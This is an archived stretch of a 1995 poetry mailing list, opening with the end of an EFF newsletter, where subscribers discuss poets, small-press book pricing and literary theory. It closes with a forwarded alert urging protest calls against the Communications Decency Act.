The full Senate and House lists are senate.list and hr.list, respectively. Those not in the U.S. should seek out similar information about their own legislative bodies. EFF will be happy to archive any such information provided.

If you are having difficulty determining who your Representatives are, try contacting your local League of Women Voters, who maintain a great deal of legislative information, or consult the free ZIPPER service that matches Zip Codes to Congressional districts with about 85% accuracy at:
http://www.stardot.com/~lukeseem/zip.html

* Join EFF!

You *know* privacy, freedom of speech and ability to make your voice heard in government are important. You have probably participated in our online campaigns and forums. Have you become a member of EFF yet? The best way to protect your online rights is to be fully informed and to make your opinions heard. EFF members are informed and are making a difference. Join EFF today!

For EFF membership info, send queries to [redacted], or send any message to
[redacted] for basic EFF info, and a membership form.

Administrivia
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The Electronic Frontier Foundation
1550 Bryant St., Suite 725
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[redacted] (voice)
[redacted] (fax)
Membership & donations: [redacted]
Legal services: [redacted]
General EFF, legal, policy or online resources queries: [redacted]

Editor:
Stanton McCandlish, Online Services Mgr./Activist/Archivist ([redacted])

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To get the latest issue, send any message to [redacted] (or [redacted]), and it will be mailed to you automagically. You can also get the file "current" from the EFFector directory at the above sites at any time for a copy of the current issue. HTML editions available at:
http://www.eff.org/pub/EFF/Newsletters/EFFector/HTML/ at EFFweb. HTML editions of the current issue sometimes take a day or longer to prepare after issue of the ASCII text version.

End of EFFector Online v08 #20 Digest
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205. **Bill Luoma**
Re: A Simple Query
Sun 10 Dec 1995

Schuchat,

there have been a few performances, on the west coast usa, as far as i know. The L-poets robinson, benson, harryman, watten, perelman are recorded on tape at the poetry center at SF state. Laura Moriaty knows how to process your order. You might also contact brad westbrook at the UC san dieglo archive for new poetry. he may have a tape as well. List discussed this a while back if you want to peruse the EPC archives.

Bill Luoma

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206. **Diane Marie Ward**
Re: our daily bread/th
Sun 10 Dec 1995

On Fri, 8 Dec 1995, Robert Drake wrote:

> *has anybody read Julia Vinograd? is it true that, whoever whe is, she's written *39* books of poetry?*
>
> *the latest i have ov hers describers her as "a berkley street poet" and credits her with 28 books... but that was way back in '89...*
>
> *lbd*

Vinograd's is prolific. I have a semi recent list of her works hiding somewhere in my desk - If you like, I'll backchannel.

Anyone on the list at all familiar with Sekou Sundiata's work? He was featured on the PBS Bill Moyer's Language of Life series but I can't seem to find anything published by him.

thanks,
Diane Ward
University of Buffalo

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207. **Aldon L. Nielsen**
Re: Zukovsky's 24
Sun 10 Dec 1995

---

yes, it has been performed -- don't have all details at my fingertips, but if you look back through the archive of this list you'll find several posts earlier this year recounting the S.F. Bay area performance --

Remind posters (or postits) also that, despite his resistance to readings, Zukofsky may be heard on a tape cassete in the treaury of American Jewish

poets (not exact title) series, also mentioned in earlier posts -- Iqnuiry -- Ed Roberson is supposed to have a book from Iowa now -- has anybody actually seen this book? haven't spotted it in California, nor have I seen an Iowa ad for it --

"Inquiry" an "Iqnuiry" is a place where Iq droppings are retrieved for use as fertilizer.

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208. **Rod Smith**
Re: Roberson
Sun 10 Dec 1995

Al, _Voices Cast Out to Talk Us In_ by Ed Roberson is indeed out from U. Iowa. $10.95 pb. & recommended. Got a review copy back in the summer & didn't review it so I'll say here that this is a formally smart & well-built perhaps Olsonian lyric collection. It makes you read it out loud. Hope you get to hear it.

Rod

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209. **Maria Damon**
Re: our daily bread/th
Sun 10 Dec 1995

---

sekou sundiata teaches, i think, at ccny or nyu. he's got some stuff in Aloud: Voices from the NuYorican Poets' Cafe, ed. Algarin and Holman.--md

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210. **Kenneth Sherwood**
EPCLive
Sun 10 Dec 1995

I hope you'll all check out EPCLive monday night at 6:30pm EST for an online fest with Jerome Rothenberg and Pierre Joris on their new _Poems for the Millennium: The University of California Book of Modern and Postmodern Poetry_

Information on connecting (and the Introduction and Table of Contents) is available at http://writing.upenn.edu/epc/epclive

ks

Kenneth Sherwood | Dept English
[redacted] | 618 Clemens Hall

[redacted] | SUNY @ Buffalo
|_____Buffalo, NY 14214_____

RIF/T mail: [redacted]
Electronic Poetry Center (Web address): http://writing.upenn.edu/epc

---

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211. **Bill Luoma**
hearsay
Sun 10 Dec 1995

Chris,

Could we have those trees cleared out of the way?
And the houses, volcanoes, empires? The natural
panorama is false, the shadows it casts are so many
useless platitudes. Everything is suspect. Even
clouds of the same sky are the same. Close the door
is voluntary death. There is one color, not any.

Prove to me now that you have finally undermined
your heroes. In fits of distractions the walls cover
themselves with portraits. Types are not men. Admit
that your studies are over. Limit yourself to your
memoirs. Identity is only natural. Now become
the person in your life. Start writing autobiography.

******* Ever since this "Mode Z" came out via Barrett Watten, i've identified strongly with the imperatives of this pome, and clearly it's one of the best pomes ever written. i've taken it to heart, too, viz a process of formal transference. E.G., when I first read this, I abandoned my heroes and fell in love with Barrett Watten's superman good looks. indeed, i've written autobiography in attempts to find my self, i've finally come to believe that identity is only natural, and, in this pome's world, as in my own, everything happens as if by marketing. I.E., no one puts portraits on the walls, they just get there. hello!!! Is mr wall there? no. Is mrs wall there? no. Is any wall there? no. Then watten blazes is holding up your house?

Bill Luoma

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212. Sun & Moon Press %
MLA Party
Mon 11 Dec 1995

Poetics List Subscribers are invited
to Sun & Moon Press' MLA party on
Wednesday, December 27, 1995
from 6pm through the evening &
into the night at the Hyatt Regency
Chicago in the suite of Sun & Moon's
publisher, Douglas Messerli.
Visit Sun & Moon Press at Consortium's
booth at the book exhibition.
******

Douglas Messerli and Charles Bernstein
will be reading on Friday, Dec. 29 at 6pm
at Site Cafe/Bookstore of the Museum of
Contemporary Arts 237 East Ontario, near
the convention hotels.

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213. ULMER SPRING
Re: hearsay
Mon 11 Dec 1995

and the more identity one finds the harder it is to find it

-spring

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214. Chris Stroffolino
Re: hearsay
Mon 11 Dec 1995

well, bill, where I grew up and/or out in upper cesspool, pa. there were many vicious dogs 9some named death and some named desire) who bade me play with bullies a game called "run away and hide" because I KNEW about the BOMB really young, man, and from thence embarked on such songs of insolance the dogs prick up their ears at my arrival while merer

mortals--including myself--are, as john lennon said, thick and ordinary. then i made a lightning trip to vienna. yours in fingers, chris

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215. H. T. KIRBY-SMITH
If you don't like Seamus Heaney
Mon 11 Dec 1995

Something called SNAKESKIN announces that in its February edition there will be something called "Why We Don't Like Seamus Heaney."

To judge from the poems published in the first SNAKESIN, the reasons given for not liking Seamus Heaney are probably going to be exactly the opposite of reasons that might be given here.

Irish Nobel prize winners don't get off easy. Yvor Winters used to tell his classes in a menacingly even tone of voice, "Now when I say that Yeats is a third-rate poet, you shouldn't get angry. It's just a fact." But Ferlinghetti seems to have liked Yeats, to judge from what he says about him in some early poems. Maybe you have to have dug potatoes to like Heaney. Whereas to like Yeats you have to have believed in fairies at some point.

The Website for SNAKESKIN is http://www.nildram.co.uk/~simmers

Tom Kirby-Smith

↑ Index

216. Mark Scroggins
Re: Zukovsky's 24
Mon 11 Dec 1995

Aldon et cie:

Bob Perleman played piano on a bay area performance; he knows more about it; there's also a tape of a canadian performance floating around.

Yes, the Robertson's out--at least they have it at Chapter's in DC (get on the stick, Rod!).

Mark Scroggins

On Sun, 10 Dec 1995, Aldon L. Nielsen wrote:

> *yes, it has been performed -- don't have all details at my fingertips, but if you look back through the archive of this list you'll find several posts earlier this year recounting the S.F. Bay area performance --*
>
> *Remind posters (or postits) also that, despite his resistance to readings, Zukofsky may be heard on a tape cassete in the treaury of*

> *American Jewish poets (not exact title) series, also mentioned in earlier posts --*
> *Iqnuiry -- Ed Roberson is supposed to have a book from Iowa now -- has anybody actually seen this book? haven't spotted it in California, nor have I seen an Iowa ad for it --*
>
> *"Inquiry" an "Iqnuiry" is a place where Iq droppings are retrieved for use as fertilizer.*

↑ Index

217. **Chris Stroffolino**
Re: Zukovsky's 24
Mon 11 Dec 1995

Mark Scroggins---Are you referring to a new book by LISA ROBERTSON when you say the New Robertson's out? Hopefully not Pat?
(though sometimes Lisa R. does have a PAT tone).
Anyway, let me know. I like to keep up with her work. Thanks, chris s.

↑ Index

218. **Edward Foster**
Re: Zukovsky's 24
Mon 11 Dec 1995

---

roberson's book is indeed available, published many weeks ago in fact, and is as important as anything we've had in recent memory. the title is _voices cast out to talk us in_, and perhaps the best, or quickest, thing at this point is to go directly to iowa's "customer service" and circumvent the bookstores and the wait that would entail. the isbn is 0-87745-510-4. there's no price on my copy; i don't know why iowa's keeping that a secret.

↑ Index

219. **Chris Stroffolino**
anachronism
Mon 11 Dec 1995

Well, maybe I shouldn't bring this up (but the list HAS been quiet lately) Afterall, I feel quite TOPHEAVY when it comes to argumentative tonality lately. But it's like a bug I have to work out before I can appreciate ,say, the latest ANTENYM I got---For instance, I feel about 180 degrees from the kind of space Mary Carol Randall's poem "absence" evokes there-- I DON'T CARE HOW BITTER THE GRAPEFRUIT IS, I WANT IT..... Anyway, I finally read that controversy-starting Mark Wallace Poetics Brief piece. Thanks Jeff for

sending. Thanks Mark for mentioning my name (etc.) But I do have a question for you Mark (are you there?), or for anyone else who might agree with the assertion Mark makes. At one point, you call certain poets (all circa our age) "anachronistic". On level, it doesn't matter WHICH poets you are calling so. In fact, Mark I dub YOU anachronistic! Haven't you heard, the word "anachronistic" went out with Jameson... Who's to say What's of today But those with sway? And what is sway If it doesn't say What's of today? Just curious. Chris

↑ Index

220. Curt Anderson
Re: If you don't like Seamus Heaney
Mon 11 Dec 1995

At 11:22 AM 12/11/95 EST, H. T. KIRBY-SMITH wrote:
>>Irish Nobel prize winners don't get off easy. Yvor Winters used to
>tell his classes in a menacingly even tone of voice, "Now when I say
>that Yeats is a third-rate poet, you shouldn't get angry. It's just a
>fact." But Ferlinghetti seems to have liked Yeats, to judge from
>what he says about him in some early poems. Maybe you have to have
>dug potatoes to like Heaney. Whereas to like Yeats you have to have
>believed in fairies at some point.
>
Say, what you got against fairies? I would have to argue that Winters and Ferlinghetti are easily dispatched as third rate poets, whereas Yeats, especially the later poetry, ranks as some of the best poetry in the language. Don't know about Heaney, other than info from my sister, who had him at Berkeley, and reports that he spoke passionately about taking pleasure in the aroma of his own flatulence.
Curt Anderson
[redacted]
P.O. Box 1840
St. Paul, MN 55101

↑ Index

221. Ray Davis
Re: Shandy & Diderot
Mon 11 Dec 1995

Chris, the self-protecting plagiarism I referred to was Gascoigne's second edition. The first "adventures of Master F.J." was fake biography (or, more accurately, fake biographical annotations a la _Pale Fire_), and it was on the

scandalous side: the poet-hero was a sleaze, and the object of his hypocritical lyrics the bored and not particularly literate wife of the poet's generous host. Because, I presume, of that scandal, when Gascoigne next published the story-with-poems, it was absurdly claimed to be a translation of an Italian story, although the Italianized names disappear after the first page.

I agree that one of the wonderful things about the book is Gascoigne's dismissal of the idea of "lyric outpouring": poems serve a social purpose via their very denial of ulterior motives. Which is not to say that Gascoigne's poetry doesn't express passion, but to say that passions serve social purposes as well.

Ray

↑ Index

222. Pierre Joris
Followup on Nigeria
Tue 12 Dec 1995

This from IFEX, via PEN, of some interest as followup on the NIgerian hangings:

NIGERIA: INTERNATIONAL MEDIA FAULTED FOR APATHY TO REPRESSION

The international media should have done more to publicize the unfair detention and trial of Nigerian writer Ken Saro-Wiwa and the other eight Ogoni activists who were executed last month, said journalists at a Freedom Forum discussion on 20 November. The discussion, which took place in Arlington, Virginia, United States, was entitled "Nigeria After Ken Saro-Wiwa: Media Under Siege". Participants were asked, "Could the international media have done anything differently, anything better that might have prevented these executions from taking place?" Josh Arinze of "Tell" magazine in Lagos, Nigeria answered, "With the present bunch that is ruling Nigeria, it is really very hard to hope that diplomacy can do much.... The international media could have done more. There was a remarkable outcry and very high publicity after the executions. It would have been much better if it had been before the executions.... Ken was arrested in May 1994."

Kenneth Best, a Liberian editor teaching at American University in Washington, said, "I definitely believe we could have hollered a bit more in the media, especially the media that matters, the Western media.... [This] reflects one of the problems that I have been dealing with since I came to the country about a year and a half ago -- the absence of serious coverage in the American media of Africa." Peter Fabricus, the Washington correspondent for Independent Newspapers of South Africa agreed, saying, "[T]he media does not cover Africa enough, but it is not going to change. The fact is the media has to be led by the

market, and the market does not show that much interest.... The only time you are going to get a media interest in Africa is when Africans themselves begin to take responsibility for their problems, which I think is what [South African President Nelson] Mandela is doing."

Phil Robbins of the U.S. military magazine "Stars and Stripes" said, "I think the situation is a demonstration of the limits of journalism and what we can expect of journalism. I think everybody believes that democracy can't function without a free press, but it doesn't apply to dictatorships and authoritarian situations.... International coverage... is not going to save the world from the... Sani Abachas of the world.... Diplomacy is the only thing [that can help]... and obviously the more we can expose things, the better chance diplomacy has to work." Paul Glickman of National Public Radio (NPR) said, "We don't have anyone based in Nigeria. It seems not to be a place where the Western press bases its reporters because it is so difficult to work there." Glickman said some NPR reporters had applied for journalist visas for Nigeria, "but we are not exactly holding our breath." He said NPR had been covering Saro-Wiwa since before his arrest.

==========
==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========
==========

↑ Index

223. **Robert Drake**

Re: Zukovsky's 24

Tue 12 Dec 1995

> *perhaps the best, or quickest, thing at this*
> *point is to go directly to iowa's "customer service" and circumvent the*
> *bookstores and the wait that would entail.*

&& as had been mentioned here recently, another best thing to do would be to order thru yr local independant bookstore, helping to keep such in business. as often as not faster than direct ordering; also lets local bookbuyers know that there _is_ a market for poetry...

lbd

↑ Index

224. Michael Boughn
Passion and the social
Tue 12 Dec 1995

FYI

"A Mr. John Keats, a young man who had left a decent calling for the melancholy trade of Cockney-poetry, has lately died of a consumption, after having written two or three little books of verses, much neglected by the public . . . he wrote _indecently_, probably in the indulgence of his social propensities."

--Blackwood's Magazine, 1821

That last line, "the idulgence of his social propensities" has to be a classical critical line. What's the current equivalent?

Mike
[redacted]

↑ Index

225. Mark Scroggins
Re: Zukovsky's 24
Tue 12 Dec 1995

Chris S.--
nope, unfortunately (fortunately?) I was replying to Aldon's query re the new Ed Roberson--slip o' the digit. Will you be my copyeditor? (just typed coyeditor--mebbe that one was freudian...)
Mark S

On Mon, 11 Dec 1995, Chris Stroffolino wrote:

> *Mark Scroggins---Are you referring to a new book by LISA ROBERTSON when you say the New Robertson's out? Hopefully not Pat?*
> *(though sometimes Lisa R. does have a PAT tone).*
> *Anyway, let me know. I like to keep up with her work. Thanks, chris s.*

↑ Index

226. Larry Price
Anachronism
Tue 12 Dec 1995

Chris:

I'd like to offer a reading of "anachronism." Actually, my take would be that the ANACHRONE is about as likely as the ANAMORPH (not at all). But I take my clue by returning to the morph, margin/center. Although I'll avoid the hedge implicit in the term "problematic," the fact is that in 9 out of 10 times the term "center" is used, it probably doesn't exist. However, this only means that the "margin" "center" differentially signifies must have a far more complex relation to group formation than a simple geometric model would allow. And it's that fact of the possibility of brownian motion in there that I think needs to be addressed, as well as the converse aggregate narratives (only one among them being that of the center) that work as the ideological.

In fact with regard to time (baldly) or history (pathetically) there seems every bit as much tendency to "vibrate." However, there is also another morph, one which places language (in any generation) explicitly within the problem. That is, I've thought a great deal about Ed Foster's introduction of Whitman into the discussion of, amongst so much else, parts and wholes, as he wrote, "discrete letters." It occurs that the issue revolves around the diacritical character of the medium. That and the fact that in the body (or at least in the experience of it) there is a zone (or at least the illusion of one) that does NOT experience the problem of open/closed form, a zone for which experience is analogical. Although the base activity may be digital (this is, of course, borne out by cases of neural dysfunction: those whose neural bridges cannot be closed (one form of schizophrenia) vs. those whose neural bridges cannot be opened (causing severe depression)), the curious twist comes because of the rheostat phenomenon in most of the experiences in the total sensorium; that is, Emotion A is not premeasured in its track from 1 to 10, but seems to traverse a continuum.It may be the simple complication by other emotions, thoughts, sheer digs from the body/far-flung reaches of the sensorium. Who knows? That fact is that it has implications concerning language, which, of course, is diacritical throughout. I'll set aside the opposition speech/language and say the divide seems to come between the diacritical system of language and the bodily generation and/or experience of and/or within that diacritical system. The collision between (or chafing within) the digital necessity of a system and the body's analogical (fact of or) yearning for integration within itself and/or other. Which is how I then read Ed's use of Whitman vis-a-vis phonemics and syntax. However, I would resist the equivalence Ed asserts between Stein and Whitman. Stein, it seems to me, pursued something of the opposite, something like the "truth of language," leading eventually, I think, to Creeley's (approximately) "I follow the words."

In any case, my point is that those two terms help to establish the perpetual sense of displacement (chronic OR morphic) that any writer "experiences."

Larry Price

↑ Index

227. Marisa Januzzi
Vinograd.....
Tue 12 Dec 1995

Thanks all-- will search and post if I find anything like symphonies in Vinograd (how do I get started on these weird searches? months ago it was Gaspara Stampa)

see (some of) you in Chicago wearing the damn nametags! --Marisa

↑ Index

228. Ron Silliman
Iowa's secret
Wed 13 Dec 1995

Ed Foster notes: there's
>no price on my copy; i don't know why iowa's keeping that a secret.
>
So that Iowa can change the price as market conditions warrant so long as the book is in print. (The first printing of Tjanting was $6.00 and the second $10.00--you can tell which you have by looking at the price on the rear cover.) Frankly, it's silly to put a price on a book cover.

Ron

↑ Index

229. Dick Higgins
Re: Iowa's secret
Wed 13 Dec 1995

> *Ed Foster notes: there's*
> *no price on my copy; i don't know why iowa's keeping that a secret.*
>
> *So that Iowa can change the price as market conditions warrant so long as the book is in print. (The first printing of Tjanting was $6.00 and the second $10.00--you can tell which you have by looking at the price on the rear cover.) Frankly, it's silly to put a price on a book cover.*
>
> *Ron*

It may be silly, but stores strongtly prefer it.

Dick "Am I So Correct?" HIggins

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

230. Charles Alexander

Re: Iowa's secret

Wed 13 Dec 1995

> *Ed Foster notes: there's*
> *no price on my copy; i don't know why iowa's keeping that a secret.*
>
> *So that Iowa can change the price as market conditions warrant so long as the book is in print. (The first printing of Tjanting was $6.00 and the second $10.00--you can tell which you have by looking at the price on the rear cover.) Frankly, it's silly to put a price on a book cover.*
>
> *Ron*

Ron, I haven't wondered about that. And would you say that goes for bar codes, too, which encode the price? And does that mean you feel there is really very little reason to try and get our books into stores which demand such things? I'd love to hear you talk about this a little more, as I think it's an important discussion -- the desire to market/distribute books and do it well, without automatically assuming that the "norms" and "demands" of the mass marketplace really suit small press books and their dissemination at all.

charles

↑ Index

231. Charles Alexander

oops

Wed 13 Dec 1995

In my last message, relating to putting the price on books, I meant to say "I have wondered about that," rather than "I haven't wondered about that."

Sorry for the denial there.

↑ Index

232. Chris Stroffolino
Re: Anachronism
Wed 13 Dec 1995

Dear Larry--Well, you certainly bring the discussion to another PLANE but I still think that others out there still think there ARE ANACHROMES and there are still what Riding once called "CONTEMPORARIES AND SNOBS" "out there" (and "in here"---insofar as a Freudian Drive is a Greek GOD) and hopefully that issue will be raised or taken up too.. but, what is BROWNIAN MOTION---It's one of those terms I always hear... I'd like to think it's named after JAMES "Santa's got a brand new bag...." ....though poetry atrophies when it gets too far from MUZAK.....

↑ Index

233. Larry Price
Astonished
Wed 13 Dec 1995

Bill Luoma:

Your note to me recalled a question I had had: Didn't you recently quote Spicer's "etonnez-moi" and attribute it to Cocteau? Is that in fact the source? It's been a geological era or two since I've seen either of the Cocteau Orpheus films. And it may be that I'm being oratized by Spicer, who puts it in Diaghilev's mouth. But that is the story I remember: Diaghilev meeting Nijinsky for the first time, saying "Astonish me." (He was of course.) Am I wrong? Is it Cocteau? Illuminez-moi.

lp

↑ Index

234. Larry Price
Heartbeat
Wed 13 Dec 1995

Chris:

Brownian motion is thinking you're quoting Breton with approval when in fact you're quoting Goebbels (which I actually did the other day?!?!). It puts my own particular Tobyhorse in perspective: Which is to say: Contingency may or may not be the case, but we're forced to live as though it is. It's the denial of that that artificially makes everything so expensive (in several senses). No more restricted economy exists than a tight ass. As I say: it's not so much a new or old bag as the inability to afford the bags and boxes to want the bags and boxes with.

lp

↑ Index

235. D. LaBeau
The Kink of Comedy
Wed 13 Dec 1995

I'm teaching a "Comedy & Society" class in the 9-6, and I'm hoping to use a lot of poetry. Any suggestions on essays or books about comedy & poetics (or comedy & literature in general) that you find interesting would be appreciated. Also, if you want to throw in some poets or fictioneers who strike your funnybone, I'd like to hear that as well. Hopefully I'll be able to get Bob Perelman to give a guest reading/talk to the class.

Thanks,

Daniel LaBeau

↑ Index

236. cris cheek
ALERT - Protest Internet Censorship Bills, Tues 12/12/95
Wed 13 Dec 1995

Gotta to hope that this is circulating, but having seen no sign on Poetics have taken the e-librty to forward this post.

love and love
cris
>>>

>>>>>>>>CONTENTS
>>>>>>>> Internet Day of Protest: Tuesday December 12, 1995
>>>>>>>> What You Must Do On Tuesday December 12, 1995
>>>>>>>> List of Participating Organizations
>>>>>>>> Where Can I Learn More?
>>>>>>>>
>>>>>>>>_____
____
>>>>>>>>INTERNET DAY OF PROTEST: TUESDAY DECEMBER 12, 1995
>>>>>>>>
>>>>>>>>Outrageous proposals to censor the Internet demand that the Internet
>>>>>>>>Community take swift and immediate action. We must stand up and let
>>>>>>>>Congress know that we will not tolerate their attempts to destroy this
>>>>>>>>medium! Please join hundreds of thousands of your fellow citizens in a
>>>>>>>>National Day of Protest on Tuesday December 12, 1995.
>>>>>>>>
>>>>>>>>As you know, on Wednesday December 6, 1995, the House Conference
>>>>>>>>Committee on Telecommunications Reform voted to impose far reaching and
>>>>>>>>unconstitutional "indecency" restrictions on the Internet and other
>>>>>>>>interactive media, including large commercial online services (such as
>>>>>>>>America Online, Compuserve, and Prodigy) and smaller Internet Service
>>>>>>>>Providers such as Panix, the Well, Echo, and Mindvox.
>>>>>>>>
>>>>>>>>These restrictions threaten the very existence of the Internet and
>>>>>>>>interactive media as a viable medium for free expression, education,
>>>>>>>>commerce. If enacted, the Internet as we know it will never be the
>>>>>>>>same.
>>>>>>>>
>>>>>>>>Libraries will not be able to put any books online that might
>>>>>>>>offend a child somewhere. No "Catcher in the Rye" or "Ulysses" on
>>>>>>>>the net.
>>>>>>>>Internet Service Providers could face criminal penalties for

allowing
>>>>>>>>children to subscribe to their Internet Services, forcing many small
>>>>>>>>companies to simply refuse to sell their services to anyone under
>>>>>>>>18. Worst
>>>>>>>>of all, everything you say and publish on the net will have to be
>>>>>>>>"dumbed
>>>>>>>>down" to that which is acceptable to a child.
>>>>>>>>
>>>>>>>>As Internet users, we simply must not allow this assault against the
>>>>>>>>Internet and our most basic freedoms to go unchallenged.
>>>>>>>>
>>>>>>>>On Tuesday December 12, the organizations below are urging you to
>>>>>>>>join us in a NATIONAL DAY OF PROTEST. The goal is to flood key members
>>>>>>>>of
>>>>>>>>the House and Senate with phone calls, faxes and email with the message
>>>>>>>>that the Internet community WILL NOT TOLERATE Congressional attempts to
>>>>>>>>destroy the Internet, limit our freedoms and trample on our rights.
>>>>>>>>
>>>>>>>>Below are the phone, fax, and email address of several key members of
>>>>>>>>Congress on this issue and instructions on what you can do to join the
>>>>>>>>National Day of Protest to save the Net.
>>>>>>>>
>>>>>>>>_____
__
>>>>>>>>WHAT YOU MUST DO ON TUESDAY DECEMBER 12, 1995
>>>>>>>>
>>>>>>>>1. Throughout the day Tuesday December 12, please contact as many
>>>>>>>> members of Congress on the list below as you can. If you are only
>>>>>>>> able to make one call, contact House Speaker Newt Gingrich. Finally,
>>>>>>>> if the Senator or Representative from your state is on the list
>>>>>>>> below, be sure to contact him or her also.

>>>>>>>>
>>>>>>>>2. Urge each Member of Congress to "stop the madness". Tell them that
>>>>>>>> they are about to pass legislation that will destroy the Internet as
>>>>>>>> an educational and commercial medium. If you are at a loss for
>>>>>>>> words, try the following sample communique:
>>>>>>>>
>>>>>>>> Sample phone call:
>>>>>>>>
>>>>>>>> Both the House and Senate bills designed to protect children
>>>>>>>> from objectionable material on the Internet will actually
>>>>>>>> destroy the Internet as an medium for education, commerce, and
>>>>>>>> political discourse. There are other, less restrictive ways to
>>>>>>>> address this issue.
>>>>>>>>
>>>>>>>> I urge you to oppose both measures being proposed in the
>>>>>>>> conference committee. This is an important election issue to
>>>>>>>> me.
>>>>>>>>
>>>>>>>> Sample letter (fax or email):
>>>>>>>>
>>>>>>>> The Senate conferees are considering ways to protect children
>>>>>>>> from inappropriate material on the Internet. A vote for either
>>>>>>>> the House or Senate proposals will result in the destruction of
>>>>>>>> the Internet as a viable medium for free expression, education,
>>>>>>>> commerce. Libraries will not be able to put their entire book
>>>>>>>> collections online. Everyday people like me will risk massive
>>>>>>>> fines and prison sentences for public discussions someone s
>>>>>>>> somewhere might consider "indecent".
>>>>>>>>
>>>>>>>> There are other, less restrictive ways to protect children from
>>>>>>>> objectionable material online. This is an important election
>>>>>>>> issue to me.
>>>>>>>>
>>>>>>>>>3. If you're in San Francisco, or near enough to get there, go to
>>>>>>>> the Rally Against Censorship from Ground Zero of the Digital
>>>>>>>>>Revolution:

>>>>>>>>
>>>>>>>> WHEN: Monday, December 11, 1995 12:00 - 1:00 PM
>>>>>>>> WHERE: South Park (between 2nd and 3rd, Bryant and Brannon) San
>>>>>>>>Francisco.
>>>>>>>> SPEAKERS: To be announced
>>>>>>>> BRING: Attention-grabbing posters, signs, and banners that
>>>>>>>>demonstrate
>>>>>>>> your committment to free speech and expression, and your
>>>>>>>>feelings
>>>>>>>> about Congress.
>>>>>>>> FOR UPDATED INFORMATION (including rain info):
>>>>>>>> http://www.hotwired.com/staff/digaman/
>>>>>>>>
>>>>>>>>
>>>>>>>>### THIS IS VERY IMPORTANT ###
>>>>>>>>
>>>>>>>>4. Mail a note to [redacted] to let us know you did your part.
>>>>>>>> Although you will not receive a reply due to the number of
>>>>>>>> anticipated responses, we'll be counting up the number of people that
>>>>>>>> participated in the day of protest.
>>>>>>>>
>>>>>>>>
>>>>>>>> P ST Name and Address Phone Fax
>>>>>>>> = == ========== ========== ==========
>>>>>>>> R AK Stevens, Ted [redacted]
>>>>>>>> R AZ McCain, John [redacted]
>>>>>>>> [redacted]
>>>>>>>> D HI Inouye, Daniel K. [redacted]
>>>>>>>> R KS Dole, Robert [redacted]
>>>>>>>> D KY Ford, Wendell H. [redacted]
>>>>>>>> [redacted]
>>>>>>>> R MS Lott, Trent [redacted]
>>>>>>>> R MT Burns, Conrad R. [redacted]
>>>>>>>> [redacted]
>>>>>>>> D NE Exon, J. J. [redacted]
>>>>>>>> D SC Hollings, Ernest F. [redacted]
>>>>>>>> [redacted]
>>>>>>>> R SD Pressler, Larry [redacted]
>>>>>>>> [redacted]

>>>>>>>>> R WA Gorton, Slade [redacted] [redacted]
>>>>>>>>> [redacted]
>>>>>>>>> D WV Rockefeller, John D. [redacted] n.a.
>>>>>>>>> [redacted]
>>>>>>>>>
>>>>>>>>> Dist ST Name, Address, and Party Phone Fax
>>>>>>>>> ==== == ==========
========== ==========
>>>>>>>>> 6 GA Gingrich, Newt (R) [redacted] [redacted]
>>>>>>>>> 2428 RHOB [redacted]
>>>>>>>>> 14 MI Conyers Jr., John (D) [redacted] [redacted]
>>>>>>>>> 2426 RHOB [redacted]
>>>>>>>>> 1 CO Schroeder, Patricia (D) [redacted] [redacted]
>>>>>>>>> 2307 RHOB
>>>>>>>>> 18 TX Jackson-Lee, Sheila (D) [redacted] [redacted]
>>>>>>>>> 1520 LHOB
>>>>>>>>> 6 TN Gordon, Bart (D) [redacted] [redacted]
>>>>>>>>> 2201 RHOB
>>>>>>>>>
>>>>>>>>>
>>>>>>>>>4. Forward this alert to all of your wired friends.
>>>>>>>>>
>>>>>>>>>_____
>>>>>>>>>WHERE CAN I LEARN MORE?
>>>>>>>>>
>>>>>>>>>At this moment, there are several organizations with WWW sites that now
>>>>>>>>>have, or will have, information about the net censorship legislation and
>>>>>>>>>the National Day Of Protest:
>>>>>>>>>
>>>>>>>>>American Civil Liberties Union (ftp://ftp.aclu.org/aclu/)
>>>>>>>>>Center for Democracy and Technology (http://www.cdt.org/)
>>>>>>>>>Electronic Frontier Foundation (http://www.eff.org/)
>>>>>>>>>Electronic Privacy Information Center (http://www.epic.org/)
>>>>>>>>>Wired Magazine (http://www.hotwired.com/special/indecent/)
>>>>>>>>>Voters Telecommunications Watch (http://www.vtw.org/)
>>>>>>>>>
>>>>>>>>>_____
>>>>>>>>>LIST OF PARTICIPATING ORGANIZATIONS

>>>>>>>>
>>>>>>>>In order to use the net more effectively, several organizations have
>>>>>>>>joined forces on a single Congressional net campaign to stop the
>>>>>>>>Communications Decency Act.
>>>>>>>>
>>>>>>>>
>>>>>>>>American Civil Liberties Union * American Communication Association *
>>>>>>>>American Council for the Arts * Arts & Technology Society * Association
>>>>>>>>of Alternative Newsweeklies * biancaTroll productions * Boston
>>>>>>>>Coalition for Freedom of Expression * Californians Against Censorship
>>>>>>>>Together * Center For Democracy And Technology * Centre for Democratic
>>>>>>>>Communications * Center for Public Representation * Citizen's Voice -
>>>>>>>>New Zealand * Cloud 9 Internet *Computer Communicators Association *
>>>>>>>>Computel Network Services * Computer Professionals for Social
>>>>>>>>Responsibility * Cross Connection * Cyber-Rights Campaign * CyberQueer
>>>>>>>>Lounge * Dorsai Embassy * Dutch Digital Citizens' Movement * ECHO
>>>>>>>>Communications Group, Inc. * Electronic Frontier Canada * Electronic
>>>>>>>>Frontier Foundation * Electronic Frontier Foundation - Austin *
>>>>>>>>Electronic Frontiers Australia * Electronic Frontiers Houston *
>>>>>>>>Electronic Frontiers New Hampshire * Electronic Privacy Information
>>>>>>>>Center * Feminists For Free Expression * First Amendment Teach-In *
>>>>>>>>Florida Coalition Against Censorship * FranceCom, Inc. Web Advertising
>>>>>>>>Services * Friendly Anti-Censorship Taskforce for Students * Hands
>>>>>>>>Off! The Net * Inland Book Company * Inner Circle Technologies, Inc. *
>>>>>>>>Inst. for Global Communications * Internet On-Ramp, Inc. * Internet
>>>>>>>>Users Consortium * Joint Artists' and Music Promotions Political Action

>>>>>>>>Committee * The Libertarian Party * Marijuana Policy Project *
>>>>>>>>Metropolitan Data Networks Ltd. * MindVox * MN Grassroots Party *
>>>>>>>>National Bicycle Greenway * National Campaign for Freedom of Expression
>>>>>>>>* National Coalition Against Censorship * National Gay and Lesbian Task
